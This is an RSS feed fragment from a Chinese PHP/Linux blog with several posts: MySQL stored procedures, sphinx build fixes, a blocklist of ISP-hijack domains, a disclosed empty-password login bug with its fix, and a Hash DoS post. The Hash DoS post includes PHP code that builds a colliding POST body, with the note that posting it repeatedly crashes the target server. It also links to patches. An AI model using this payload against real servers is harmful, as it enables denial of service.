                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1023&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1079">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">解决sphinx2.0.x安装报错：undefined reference to `libiconv_open`</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1079/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>HASH DDOS: 秒杀绝大部分动态语言的拒绝服务攻击</title>
		<link>http://www.kilobug.com/archives/1072</link>
		<comments>http://www.kilobug.com/archives/1072#comments</comments>
		<pubDate>Sat, 31 Dec 2011 05:15:01 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1072</guid>
		<description><![CDATA[在http://www.laruence.com/2011/12/29/2412.html这篇文章中描述了这个bug 原文地址：http://www.ocert.org/advisories/ocert-2011-003.html 秒杀绝大部分的动态语言，只需一部普通PC，可以跑死N台高配服务器 Hash DDOS实例代码： $size = pow&#40;2, 14&#41;; // 16 is just an example, could also be 15 or 17 &#160; $genpost = &#34;&#34;; $len = 0; $array = array&#40;&#41;; for &#40;$key = 0, $maxKey = &#40;$size - 1&#41; * $size; $key &#60;= $maxKey; $key += $size&#41; &#123; $genpost .= &#40;$genpost ? &#34;&#38;&#34; : [...]<table class="wumii-related-items" cellspacing="0" cellpadding="3" border="0"  style="clear: both;">
    
    <tr>
        <td colspan="4"><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
        <tr>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important;">
                    <a target="_blank" title="我的C语言学习路程…" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F825&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1072">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">我的C语言学习路程…</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="c数组指针与指针数组的区别" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F547&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1072">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/images/blogWidget/wordpress_default.gif" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">c数组指针与指针数组的区别</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="google首页报错：404" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F211&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1072">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/08/23/24346733.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">google首页报错：404</font>
                    </a>
                </td>
                <td width="102" valign="top" style="padding: 5px !important; margin: 0 !important; border-left: 1px solid #DDDDDD !important;">
                    <a target="_blank" title="win7+php5.2.17下，Imagick比GD生成验证码慢一倍" style="text-decoration: none !important; cursor: pointer !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F794&from=http%3A%2F%2Fwww.kilobug.com%2Farchives%2F1072">
                        <img style="margin: 0 !important; padding: 2px !important; border: 1px solid #DDDDDD !important; width: 96px !important; height: 96px !important;" src="http://static.wumii.com/site_images/2011/08/23/24337985.jpg" width="96px" height="96px" /><br />
                        <font size="-1" color="#333333" style="display: block !important; line-height: 15px !important; width: 102px !important; font: 12px/15px arial !important; height: 60px !important; margin: 3px 0 0 0 !important; padding: 0 !important; overflow: hidden !important;">win7+php5.2.17下，Imagick比GD生成验证码慢一倍</font>
                    </a>
                </td>
        </tr>
    
    <tr>
        <td colspan="4" align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>在<a href="http://www.laruence.com/2011/12/29/2412.html" target="_blank">http://www.laruence.com/2011/12/29/2412.html</a>这篇文章中描述了这个bug<br />
原文地址：<a href="http://www.ocert.org/advisories/ocert-2011-003.html" target="_blank">http://www.ocert.org/advisories/ocert-2011-003.html</a></p>
<p>秒杀绝大部分的动态语言，只需一部普通PC，可以跑死N台高配服务器</p>
<p>Hash DDOS实例代码：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #990000;">pow</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">14</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 16 is just an example, could also be 15 or 17</span>
&nbsp;
<span style="color: #000088;">$genpost</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxKey</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$maxKey</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$genpost</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$genpost</span> ? <span style="color: #0000ff;">&quot;&amp;&quot;</span>  <span style="color: #339933;">:</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #000088;">$key</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;=1&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000088;">$len</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$genpost</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$data</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;POST 文件路径 HTTP/1.1
Host: 域名或IP
Content-Type: application/x-www-form-urlencoded
Content-Length: <span style="color: #006699; font-weight: bold;">{$len}</span>
Connection: Close
&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$genpost</span><span style="color: #339933;">;</span></pre></div></div>

<p>只需不停的将变量$data的值post到目标网址，目标服务器的CPU就会飙升，直到宕机&#8230;<br />
php5.2可以打这个patch:<br />
<a href="https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars" target="_blank">https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars</a></p>
<p>php5.3必须升级到5.3.9，否则只能自己动手移植5.2的patch</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1072/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>mysql存储过程小结</title>
		<link>http://www.kilobug.com/archives/1058</link>
		<comments>http://www.kilobug.com/archives/1058#comments</comments>
		<pubDate>Sun, 11 Dec 2011 13:58:00 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1058</guid>
		<description><![CDATA[由于我希望sphinx能把单表的数据分成多个索引以提升多核性能 需要计算出某表的N分之X的最小最大ID，稍微学习了mysql存储过程 以下为实现SQL： DELIMITER // CREATE PROCEDURE `sph_distribute`&#40;IN `tabname` VARCHAR&#40;50&#41;, IN `idname` VARCHAR&#40;50&#41;, IN `num` INT, IN `pos` INT&#41; BEGIN SET @SQL = CONCAT&#40;'SELECT CEIL(COUNT(*)/', num, ')+0 INTO @step FROM `', tabname, '`'&#41;; PREPARE stmt1 FROM @SQL; EXECUTE stmt1; DEALLOCATE PREPARE stmt1; &#160; SET @SQL = CONCAT&#40;'SELECT `', idname, '` INTO @minid FROM `', tabname, [...]]]></description>
			<content:encoded><![CDATA[<p>由于我希望sphinx能把单表的数据分成多个索引以提升多核性能<br />
需要计算出某表的N分之X的最小最大ID，稍微学习了mysql存储过程<br />
以下为实现SQL：</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;">DELIMITER <span style="color: #66cc66;">//</span>
<span style="color: #993333; font-weight: bold;">CREATE</span> <span style="color: #993333; font-weight: bold;">PROCEDURE</span> <span style="color: #ff0000;">`sph_distribute`</span><span style="color: #66cc66;">&#40;</span><span style="color: #993333; font-weight: bold;">IN</span> <span style="color: #ff0000;">`tabname`</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">IN</span> <span style="color: #ff0000;">`idname`</span> <span style="color: #993333; font-weight: bold;">VARCHAR</span><span style="color: #66cc66;">&#40;</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">IN</span> <span style="color: #ff0000;">`num`</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">IN</span> <span style="color: #ff0000;">`pos`</span> <span style="color: #993333; font-weight: bold;">INT</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #993333; font-weight: bold;">BEGIN</span>
	<span style="color: #993333; font-weight: bold;">SET</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #66cc66;">=</span> CONCAT<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'SELECT CEIL(COUNT(*)/'</span><span style="color: #66cc66;">,</span> num<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">')+0 INTO @step FROM `'</span><span style="color: #66cc66;">,</span> tabname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'`'</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1 <span style="color: #993333; font-weight: bold;">FROM</span> @<span style="color: #993333; font-weight: bold;">SQL</span>;
	<span style="color: #993333; font-weight: bold;">EXECUTE</span> stmt1;
	DEALLOCATE <span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1;
&nbsp;
	<span style="color: #993333; font-weight: bold;">SET</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #66cc66;">=</span> CONCAT<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'SELECT `'</span><span style="color: #66cc66;">,</span> idname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` INTO @minid FROM `'</span><span style="color: #66cc66;">,</span> tabname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` ORDER BY `'</span><span style="color: #66cc66;">,</span> idname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` ASC LIMIT '</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">FLOOR</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>pos <span style="color: #66cc66;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">*</span> @step<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">',1'</span><span style="color: #66cc66;">&#41;</span>;
	<span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1 <span style="color: #993333; font-weight: bold;">FROM</span> @<span style="color: #993333; font-weight: bold;">SQL</span>;
	<span style="color: #993333; font-weight: bold;">EXECUTE</span> stmt1;
	DEALLOCATE <span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1;
&nbsp;
	<span style="color: #993333; font-weight: bold;">IF</span> pos <span style="color: #66cc66;">=</span> num <span style="color: #993333; font-weight: bold;">THEN</span>
		<span style="color: #993333; font-weight: bold;">SET</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #66cc66;">=</span> CONCAT<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'SELECT MAX(`'</span><span style="color: #66cc66;">,</span> idname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'`) INTO @maxid FROM `'</span><span style="color: #66cc66;">,</span> tabname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'`'</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1 <span style="color: #993333; font-weight: bold;">FROM</span> @<span style="color: #993333; font-weight: bold;">SQL</span>;
		<span style="color: #993333; font-weight: bold;">EXECUTE</span> stmt1;
		DEALLOCATE <span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1;
	<span style="color: #993333; font-weight: bold;">ELSE</span>
		<span style="color: #993333; font-weight: bold;">SET</span> @<span style="color: #993333; font-weight: bold;">SQL</span> <span style="color: #66cc66;">=</span> CONCAT<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'SELECT `'</span><span style="color: #66cc66;">,</span> idname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` INTO @maxid FROM `'</span><span style="color: #66cc66;">,</span> tabname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` ORDER BY `'</span><span style="color: #66cc66;">,</span> idname<span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'` ASC LIMIT '</span><span style="color: #66cc66;">,</span> <span style="color: #993333; font-weight: bold;">FLOOR</span><span style="color: #66cc66;">&#40;</span>pos <span style="color: #66cc66;">*</span> @step <span style="color: #66cc66;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">',1'</span><span style="color: #66cc66;">&#41;</span>;
		<span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1 <span style="color: #993333; font-weight: bold;">FROM</span> @<span style="color: #993333; font-weight: bold;">SQL</span>;
		<span style="color: #993333; font-weight: bold;">EXECUTE</span> stmt1;
		DEALLOCATE <span style="color: #993333; font-weight: bold;">PREPARE</span> stmt1;
	<span style="color: #993333; font-weight: bold;">END</span> <span style="color: #993333; font-weight: bold;">IF</span>;
&nbsp;
	<span style="color: #993333; font-weight: bold;">SELECT</span> @minid<span style="color: #66cc66;">,</span> @maxid<span style="color: #66cc66;">,</span> @step;
<span style="color: #993333; font-weight: bold;">END</span>;<span style="color: #66cc66;">//</span>
DELIMITER ;</pre></div></div>

<p>调用：</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CALL</span> sph_distribute<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'表名'</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'id字段名'</span><span style="color: #66cc66;">,</span> 分成多少份<span style="color: #66cc66;">,</span> 第几份<span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p>例子：</p>

<div class="wp_syntax"><div class="code"><pre class="sql" style="font-family:monospace;"><span style="color: #993333; font-weight: bold;">CALL</span> sph_distribute<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">'table'</span><span style="color: #66cc66;">,</span> <span style="color: #ff0000;">'id'</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">5</span><span style="color: #66cc66;">,</span> <span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#41;</span>;</pre></div></div>

<p><strong>一些MYSQL不常见的写法：</strong><br />
1、DELIMITER，用于定义SQL结束符号；<br />
2、SELECT &#8230;&#8230; \G，将每个字段一行显示;<br />
3、PROCEDURE中，变量当表名只能用PREPAGE处理，里面的赋值变量，只支持全局变量（即 @var）<br />
4、对整数的变量整乘，会自动转换为浮点，这点我很蛋疼，可以用FLOOR再转成整数</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1058/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>狗日的电信114</title>
		<link>http://www.kilobug.com/archives/1052</link>
		<comments>http://www.kilobug.com/archives/1052#comments</comments>
		<pubDate>Sat, 10 Dec 2011 10:56:27 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[other]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1052</guid>
		<description><![CDATA[今天正happy的debug线上项目，点击某个站内链接，突然跳到114search.114so.cn去！！！ 怒啊！！！又被电信这个流氓给劫持了！！！ 加上chrome对301 header缓存了，于是这个链接就不停的访问114so.cn 在访问news.ifeng.com时也遇到这种破事 于是迅速将114的域名和对应IP加入路由黑名单，我狠一点，直接屏蔽网段 下面列出我屏蔽的114so.cn的域名和IP，我抽空会更新： 114.sh.vnet.cn sh.vnet.cn sh.114so.cn search.114.vnet.cn 114.vnet.cn 114.search.tfol.com 114search.114so.cn 114so.cn 118114.cn keyword.vnet.cn keyword.vnet.cn vnet.cn 114.vnet.cn 61.139.8.100 218.30.64.193 - 218.30.64.199 220.165.8.172 116.228.55.33 前三个域名中的sh是上海的拼音首字母，不同地方可以更换对应的 这种方法不能彻底防御，只能被动防御，发现一个屏蔽一个 彻底的方式时使用国外安全的公共dns，例如google的： 8.8.8.8 8.8.4.4 但缺点是部分使用了cdn或多ip的站点，访问会很慢！！！]]></description>
			<content:encoded><![CDATA[<p>今天正happy的debug线上项目，点击某个站内链接，突然跳到114search.114so.cn去！！！</p>
<p>怒啊！！！又被电信这个流氓给劫持了！！！<br />
加上chrome对301 header缓存了，于是这个链接就不停的访问114so.cn<br />
在访问news.ifeng.com时也遇到这种破事</p>
<p>于是迅速将114的域名和对应IP加入路由黑名单，我狠一点，直接屏蔽网段</p>
<p><strong>下面列出我屏蔽的114so.cn的域名和IP，我抽空会更新：</strong></p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;"><span style="">114</span>.sh.vnet.cn
sh.vnet.cn
sh.114so.cn
search.114.vnet.cn
<span style="">114</span>.vnet.cn
<span style="">114</span>.search.tfol.com
114search.114so.cn
114so.cn
<span style="">118114</span>.cn
keyword.vnet.cn 
keyword.vnet.cn
vnet.cn
<span style="">114</span>.vnet.cn
61.139.8.100
218.30.64.193 - 218.30.64.199
220.165.8.172
116.228.55.33</pre></div></div>

<p>前三个域名中的sh是上海的拼音首字母，不同地方可以更换对应的<br />
<strong style="color:red;">这种方法不能彻底防御，只能被动防御，发现一个屏蔽一个</strong></p>
<p><strong>彻底的方式时使用国外安全的公共dns，例如google的：</strong></p>

<div class="wp_syntax"><div class="code"><pre class="ini" style="font-family:monospace;">8.8.8.8
8.8.4.4</pre></div></div>

<p>但缺点是部分使用了cdn或多ip的站点，访问会很慢！！！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1052/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>新增功能时，发现严重bug!!!</title>
		<link>http://www.kilobug.com/archives/1042</link>
		<comments>http://www.kilobug.com/archives/1042#comments</comments>
		<pubDate>Sun, 04 Dec 2011 05:46:40 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1042</guid>
		<description><![CDATA[在为购谷新增商户会员功能时，突然发现一个非常严重的bug，可以空密码登录账号！！！ 会员模块设计时，我参考a1.cn和ucenter的会员设计，设计了 public function getUid&#40;$uid, $passwd = null&#41; &#123; ........ if&#40;is_string&#40;$passwd&#41;&#41; &#123; /* 判定密码 */ ........ &#125; ........ &#125; 通过调用getUid方法来判定账号密码是否匹配 但！！！ if&#40;is_string&#40;$passwd&#41;&#41; 这个判定是有隐患的！ 当编写业务逻辑的程序员没将$passwd参数转换为字符串，就调用getUid，会导致： 故意构造登录参数，只传username而不传password参数就能登录对应账号！ 解决： if&#40;func_num_args&#40;&#41; == 2&#41; PS：这个bug涉及了后台和会员登录，若被人利用会非常严重]]></description>
			<content:encoded><![CDATA[<p>在为购谷新增商户会员功能时，突然发现一个非常严重的bug，可以空密码登录账号！！！</p>
<p>会员模块设计时，我参考a1.cn和ucenter的会员设计，设计了</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> getUid<span style="color: #009900;">&#40;</span><span style="color: #000088;">$uid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$passwd</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
       <span style="color: #339933;">........</span>
       <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$passwd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #666666; font-style: italic;">/* 判定密码 */</span>
              <span style="color: #339933;">........</span>
       <span style="color: #009900;">&#125;</span>
       <span style="color: #339933;">........</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>通过调用getUid方法来判定账号密码是否匹配</p>
<p>但！！！</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">is_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$passwd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p>这个判定是有隐患的！<br />
当编写业务逻辑的程序员没将$passwd参数转换为字符串，就调用getUid，会导致：<br />
<strong><span style="color: #ff0000;">故意构造登录参数，只传username而不传password参数就能登录对应账号！</span></strong></p>
<p>解决：</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">func_num_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span></pre></div></div>

<p><span style="color: #ff0000;"><strong>PS：这个bug涉及了后台和会员登录，若被人利用会非常严重</strong></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1042/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>盛大云：云硬盘io性能垃圾中的垃圾</title>
		<link>http://www.kilobug.com/archives/1031</link>
		<comments>http://www.kilobug.com/archives/1031#comments</comments>
		<pubDate>Fri, 02 Dec 2011 16:32:42 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[other]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1031</guid>
		<description><![CDATA[使用过程中，发现云硬盘io超级垃圾 两个云硬盘，一个300G，一个200G 拷贝一个10G的tar，颠峰值（低峰值只有十几KB）： 300G: 读10m/s，写4m/s 200G: 读4m/s，写1m/s 这神马玩意？ 200G写的还没我的宽带快&#8230;. 买云主机带的硬盘的io性能还能接受： 读100m/s，写30m/s PS：只能放常年不动的附件在云硬盘，放数据库不敢想象这种io性能有多卡&#8230;毫无意义的“安全的”云硬盘]]></description>
			<content:encoded><![CDATA[<p>使用过程中，发现云硬盘io超级垃圾<br />
两个云硬盘，一个300G，一个200G</p>
<p><strong>拷贝一个10G的tar，颠峰值（低峰值只有十几KB）：</strong><br />
300G: 读10m/s，写4m/s<br />
200G: 读4m/s，写1m/s</p>
<p>这神马玩意？<br />
200G写的还没我的宽带快&#8230;.</p>
<p><strong>买云主机带的硬盘的io性能还能接受：</strong><br />
读100m/s，写30m/s</p>
<p><strong style="color:red;">PS：只能放常年不动的附件在云硬盘，放数据库不敢想象这种io性能有多卡&#8230;毫无意义的“安全的”云硬盘</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1031/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>解决sphinx2.0.x建索引报错:&#8221;indexer: error while loading shared libraries: libiconv.so.2: cannot open shared object file: No such file or directory&#8221;</title>
		<link>http://www.kilobug.com/archives/1029</link>
		<comments>http://www.kilobug.com/archives/1029#comments</comments>
		<pubDate>Fri, 02 Dec 2011 16:04:06 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1029</guid>
		<description><![CDATA[ln -s /usr/local/lib/libiconv.so.2 /usr/lib/libiconv.so.2 如果你是64bit系统，还得链到lib64 ln -s /usr/local/lib/libiconv.so.2 /usr/lib64/libiconv.so.2]]></description>
			<content:encoded><![CDATA[
<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libiconv.so.2 <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libiconv.so.2</pre></div></div>

<p>如果你是64bit系统，还得链到lib64</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>libiconv.so.2 <span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>lib64<span style="color: #000000; font-weight: bold;">/</span>libiconv.so.2</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.kilobug.com/archives/1029/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>解决sphinx2.0.x安装报错：undefined reference to `libiconv_open`</title>
		<link>http://www.kilobug.com/archives/1023</link>
		<comments>http://www.kilobug.com/archives/1023#comments</comments>
		<pubDate>Fri, 02 Dec 2011 15:57:59 +0000</pubDate>
		<dc:creator>kilobug</dc:creator>
				<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.kilobug.com/?p=1023</guid>
		<description><![CDATA[先 ./configure --prefix=/usr/local/sphinx/ 打开源码目录/src/Makefile： LIBS = -ldl -lm -lz -lexpat -L/usr/local/lib -lrt -lpthread 在尾部增加 -liconv LIBS = -ldl -lm -lz -lexpat -L/usr/local/lib -lrt -lpthread -liconv 最后执行make make &#38;&#38; make install PS: 在帮koofind换服务器时，由于项目要求，将SphinxClient类改名，但会报一些warning错误，最后发现构造函数是SphinxClient，蛋疼，可能是为了兼容php4吧]]></description>
			<content:encoded><![CDATA[<p>先</p>

